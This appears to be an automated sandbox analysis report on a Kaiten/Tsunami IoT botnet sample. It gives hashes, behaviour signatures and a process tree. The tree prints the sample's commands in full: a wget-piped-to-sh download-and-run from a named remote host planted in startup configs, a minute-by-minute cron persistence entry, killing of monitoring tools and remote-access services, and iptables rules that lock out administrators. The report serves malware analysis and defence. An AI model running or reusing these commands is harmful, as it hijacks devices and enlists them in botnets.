Analysis
-
max time kernel
150s -
max time network
150s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20231215-en -
resource tags
-
submitted
22-12-2023 07:30
General
-
Target
7980ffb3ad788b73397ce84b1aadf99b
-
Size
38KB
-
MD5
7980ffb3ad788b73397ce84b1aadf99b
-
SHA1
5a72a4c4fc960458c2efaf37142b5f78eb99039f
-
SHA256
84e502b8332b69daf009cd2e03ec372f2e037cd6477483f4d0cfa4779e21381d
-
SHA512
e78c81a26c1ff2e10c323974f4d371bd21134d6471ae6e0669d2d18f42d4ac6daf2026094186c712acbd24f45917fba14f8577a4f6564324c039fcc449d1ae31
-
SSDEEP
768:XadvhPGfQ+v/tqHOLkTT1ziJbaTfmKNj/qiq8TZ/aWCdSOuGe:OP2/tr6xUSfpNj7PKSBP
Score
10/10
Malware Config
Signatures
-
Detects Kaiten/Tsunami Payload 1 IoCs
-
Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
-
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Enumerates kernel/hardware configuration 1 TTPs 45 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/7980ffb3ad788b73397ce84b1aadf99b/tmp/7980ffb3ad788b73397ce84b1aadf99b1⤵
- Writes file to tmp directory
-
/bin/shsh -c "killall -9 tcpdump > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 strace > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "nvram set rc_firewall=\"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh\" > /dev/null 2>&1 "2⤵
-
-
/bin/shsh -c "nvram commit > /dev/null 2>&1"2⤵
-
-
/bin/shsh -c "( echo \"sleep 120 && wget -q -O - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1"2⤵
-
-
/bin/shsh -c "chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1 "2⤵
-
/bin/chmodchmod 755 /etc/persistent/rc.poststart3⤵
-
-
-
/bin/shsh -c "cfgmtd -w -p /etc/ > /dev/null 2>&1 "2⤵
-
-
/bin/shsh -c "( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1"2⤵
-
-
/bin/shsh -c "( cat /mnt/Config/S1_01timezone | grep -v derpcity | grep -v wireless > /var/run/.x00 ) > /dev/null 2>&1"2⤵
-
-
/bin/shsh -c "( echo \"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" >> /var/run/.x00 ) > /dev/null 2>&1"2⤵
-
-
/bin/shsh -c "( cat /var/run/.x00 > /mnt/Config/S1_01timezone )> /dev/null 2>&1"2⤵
-
-
/bin/shsh -c "rm -rf /var/run/pty > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /tmp/pty > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"2⤵
-
-
/bin/shsh -c "killall -9 telnetd > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "service httpd stop > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "service telnetd stop > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "service sshd stop > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 telnetd > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 utelnetd > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 dropbear > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 sshd > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 minihttpd > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "nvram set httpd_enable=0 > /dev/null 2>&1"2⤵
-
-
/bin/shsh -c "nvram set http_enable=0 > /dev/null 2>&1"2⤵
-
-
/bin/shsh -c "killall -9 httpd > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /var/run/wgsh > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /var/run/bbsh > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /var/run/tty1 > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /var/run/tty2 > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /var/run/tty3 > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /var/run/tty4 > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /var/run/tty5 > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /var/run/tty6 > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /tmp/tty1 > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /tmp/tty2 > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /tmp/tty3 > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /tmp/tty4 > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /tmp/tty5 > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /tmp/tty6 > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 arm > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 mips > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 mipsel > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 powerpc > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 ppc > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 daemon.armv4l.mod > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 daemon.i686.mod > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 daemon.mips.mod > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "killall -9 daemon.mipsel.mod > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "rm -rf /tmp/.xs/* > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "iptables -A INPUT -p tcp --dport 22 -j DROP > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "iptables -A INPUT -p tcp --dport 23 -j DROP > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "iptables -A INPUT -p tcp --dport 80 -j DROP > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "iptables -A INPUT -p tcp --dport 8080 -j DROP > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"2⤵
-
-
/bin/shsh -c "chmod 700 /tmp/7980ffb3ad788b73397ce84b1aadf99b > /dev/null 2>&1 &"2⤵
-
-
/bin/shsh -c "touch -acmr /bin/ls /tmp/7980ffb3ad788b73397ce84b1aadf99b"2⤵
-
/usr/bin/touchtouch -acmr /bin/ls /tmp/7980ffb3ad788b73397ce84b1aadf99b3⤵
-
-
-
/bin/shsh -c "(crontab -l | grep -v \"/tmp/7980ffb3ad788b73397ce84b1aadf99b\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1"2⤵
-
-
/bin/shsh -c "echo \"* * * * * /tmp/7980ffb3ad788b73397ce84b1aadf99b > /dev/null 2>&1 &\" >> /var/run/.x001804289383"2⤵
-
-
/bin/shsh -c "crontab /var/run/.x001804289383"2⤵
-
/usr/bin/crontabcrontab /var/run/.x0018042893833⤵
- Creates/modifies Cron job
-
-
-
/bin/shsh -c "rm -rf /var/run/.x001804289383"2⤵
-
/bin/rmrm -rf /var/run/.x0018042893833⤵
-
-
-
/usr/bin/killallkillall -9 tcpdump1⤵
- Reads runtime system information
-
/usr/bin/killallkillall -9 strace1⤵
- Reads runtime system information
-
/bin/catcat /mnt/Config/S1_01timezone1⤵
-
/bin/grepgrep -v derpcity1⤵
-
/bin/grepgrep -v wireless1⤵
-
/bin/rmrm -rf /var/run/pty1⤵
-
/bin/rmrm -rf /tmp/pty1⤵
-
/usr/bin/killallkillall -9 telnetd1⤵
- Reads runtime system information
-
/usr/sbin/serviceservice httpd stop1⤵
-
/usr/bin/basenamebasename /usr/sbin/service2⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service2⤵
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/sbin/serviceservice telnetd stop1⤵
-
/usr/bin/basenamebasename /usr/sbin/service2⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service2⤵
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/sbin/serviceservice sshd stop1⤵
-
/usr/bin/basenamebasename /usr/sbin/service2⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service2⤵
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/killallkillall -9 telnetd1⤵
-
/usr/bin/killallkillall -9 utelnetd1⤵
- Reads runtime system information
-
/usr/bin/killallkillall -9 dropbear1⤵
- Reads runtime system information
-
/usr/bin/killallkillall -9 sshd1⤵
- Reads runtime system information
-
/usr/bin/killallkillall -9 minihttpd1⤵
- Reads runtime system information
-
/bin/catcat /var/run/thttpd.pid1⤵
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵
-
/usr/bin/killallkillall -9 httpd1⤵
- Reads runtime system information
-
/bin/catcat /var/run/httpd.pid1⤵
-
/bin/rmrm -rf /var/run/wgsh1⤵
-
/bin/rmrm -rf /var/run/bbsh1⤵
-
/bin/rmrm -rf /var/run/tty11⤵
-
/bin/rmrm -rf /var/run/tty21⤵
-
/bin/rmrm -rf /var/run/tty31⤵
-
/bin/rmrm -rf /var/run/tty41⤵
-
/bin/rmrm -rf /var/run/tty51⤵
-
/bin/rmrm -rf /var/run/tty61⤵
-
/bin/rmrm -rf /tmp/tty11⤵
-
/bin/rmrm -rf /tmp/tty21⤵
-
/bin/rmrm -rf /tmp/tty31⤵
-
/bin/rmrm -rf /tmp/tty41⤵
-
/bin/rmrm -rf /tmp/tty51⤵
-
/bin/rmrm -rf /tmp/tty61⤵
-
/usr/bin/killallkillall -9 arm1⤵
- Reads runtime system information
-
/usr/bin/killallkillall -9 mips1⤵
-
/usr/bin/killallkillall -9 mipsel1⤵
- Reads runtime system information
-
/usr/bin/killallkillall -9 powerpc1⤵
- Reads runtime system information
-
/usr/bin/killallkillall -9 ppc1⤵
- Reads runtime system information
-
/usr/bin/killallkillall -9 daemon.armv4l.mod1⤵
- Reads runtime system information
-
/usr/bin/killallkillall -9 daemon.i686.mod1⤵
- Reads runtime system information
-
/usr/bin/killallkillall -9 daemon.mips.mod1⤵
- Reads runtime system information
-
/usr/bin/killallkillall -9 daemon.mipsel.mod1⤵
- Reads runtime system information
-
/bin/rmrm -rf "/tmp/.xs/*"1⤵
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 22 -j DROP1⤵
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 23 -j DROP1⤵
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 80 -j DROP1⤵
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 8080 -j DROP1⤵
-
/bin/chmodchmod 700 /tmp/7980ffb3ad788b73397ce84b1aadf99b1⤵
-
/usr/bin/crontabcrontab -l1⤵
-
/bin/grepgrep -v /tmp/7980ffb3ad788b73397ce84b1aadf99b1⤵
-
/bin/grepgrep -v "no cron"1⤵
-
/bin/grepgrep -v lesshts/run.sh1⤵
-
/bin/shsh -c "/bin/uname -n"1⤵
-
/bin/uname/bin/uname -n2⤵
-
-
/bin/shsh -c "/bin/uname -n"1⤵
-
/bin/uname/bin/uname -n2⤵
-
-
/usr/local/sbin/systemctlsystemctl stop httpd.service1⤵
-
/usr/local/bin/systemctlsystemctl stop httpd.service1⤵
-
/usr/sbin/systemctlsystemctl stop httpd.service1⤵
-
/usr/bin/systemctlsystemctl stop httpd.service1⤵
-
/sbin/systemctlsystemctl stop httpd.service1⤵
-
/bin/systemctlsystemctl stop httpd.service1⤵
- Enumerates kernel/hardware configuration
-
/usr/local/sbin/systemctlsystemctl stop telnetd.service1⤵
-
/usr/local/bin/systemctlsystemctl stop telnetd.service1⤵
-
/usr/sbin/systemctlsystemctl stop telnetd.service1⤵
-
/usr/bin/systemctlsystemctl stop telnetd.service1⤵
-
/sbin/systemctlsystemctl stop telnetd.service1⤵
-
/bin/systemctlsystemctl stop telnetd.service1⤵
- Enumerates kernel/hardware configuration
-
/usr/local/sbin/systemctlsystemctl stop sshd.service1⤵
-
/usr/local/bin/systemctlsystemctl stop sshd.service1⤵
-
/usr/sbin/systemctlsystemctl stop sshd.service1⤵
-
/usr/bin/systemctlsystemctl stop sshd.service1⤵
-
/sbin/systemctlsystemctl stop sshd.service1⤵
-
/bin/systemctlsystemctl stop sshd.service1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
87B
MD5e9edd49b68669411a5e0ee7edbeb022a
SHA183dac91e569f69ea4a4325b7fb979721bb13f07d
SHA256cbf58a1d936bfb8a4c4f272f96c57f67ae5c8a0dfc56e17e8117ac8a12fba892
SHA512da53b5620ccbffd257db206836844bb7fdf3202a852009b459f672b9ccbc7e91c0fc58dcf98410ef2a7b21e9f9655a33bd9439cb1fdb8114d925cb9b674e30c2
-
Filesize
67B
MD58bbe443214e9ff3e013ff64efce486fd
SHA14444472b7d2a1582f1e6e3da2d8a85517df29bbd
SHA2566077dc677a03b74f08a29ecd9e791010a6f7504380ac3e9d33b13efedf70a1f8
SHA512f8cf9107d7ae3bede8b31abd7a17497586ef87b4420c19fd3a795fb5a3d01cd1f8ab79c9bf67356b48c5b3a78595d35f943235b26aef8230b556b9165d079856
-
Filesize
264B
MD515956ba6e85844a76694e3438412f8ba
SHA107dd46a3b4d8877056656a758d5bc69c1b28a9aa
SHA25669f0b6a762d335aff49e44d46ce53beede33ad74076b8d4c92ac6826d2a48d93
SHA512a2a5cf685f2bf63773c778443c4250a4bd1c0aa8593622b49246f0c8eac63d43cdff1dda5b06e8bc07e582d2de2b999eed9f9374bc7d830b7072a57f9eea4c27